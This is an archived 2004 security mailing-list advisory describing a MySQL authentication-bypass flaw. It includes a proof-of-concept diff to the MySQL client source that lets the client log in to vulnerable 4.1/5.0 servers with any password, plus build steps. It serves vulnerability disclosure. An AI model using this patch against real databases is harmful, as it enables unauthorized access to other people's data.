The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[EXPL] MySQL Authentication Bypass Client Patch Proof Of Concept Exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: 11 Jul 2004 11:58:11 +0200
From: SecuriTeam <support@securiteam.com>
To: list@securiteam.com
Subject: [EXPL] MySQL Authentication Bypass Client Patch Proof Of Concept Exploit

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  MySQL Authentication Bypass Client Patch Proof Of Concept Exploit
------------------------------------------------------------------------


SUMMARY

An issue with the authentication mechanism in MySQL has been reported in 
our previous article  
<http://www.securiteam.com/unixfocus/5BP0420DFQ.html>; MySQL Authentication 
Scheme Bypass. A proof of concept patch for the MySQL client program is 
provided below which would cause the MySQL client to authenticate 
automatically.

DETAILS

Vulnerable Systems:
 * MySQL version 4.1 up to but not including 4.1.3
 * MySQL version 5.0

Immune Systems:
 * MySQL version 4.1.3

The diff patch can only be used against the latest alpha version (5.0.0) 
of MySQL. In order to use it, follow the following steps:

 * Download and unpack the MySQL 5.0.0-alpha source
 * Patch the sql-common/client.c file:
    sql-common/ $ patch client.c mysql.authentication.bypass_client.c.diff
 * Configure and Make as usual

The resultant MySQL client binary can then be used normally but with one 
exception: The user can completely disregard the password and in fact can 
enter any password and it would not matter. The provided diff patch:
1941,1956c1941,1942
<   if (passwd[0])
<   {
<     if (mysql->server_capabilities & CLIENT_SECURE_CONNECTION)
<     {
<       *end++= SCRAMBLE_LENGTH;
<       scramble(end, mysql->scramble, passwd);
<       end+= SCRAMBLE_LENGTH;
<     }
<     else
<     {
<       scramble_323(end, mysql->scramble, passwd);
<       end+= SCRAMBLE_LENGTH_323 + 1;
<     }
<   }
<   else
<     *end++= '\0';                               /* empty password */
---
>   sprintf(end,"\x14\x00");
>   end+=2;


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:bambam@pineapple.shacknet.nu> bambam.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру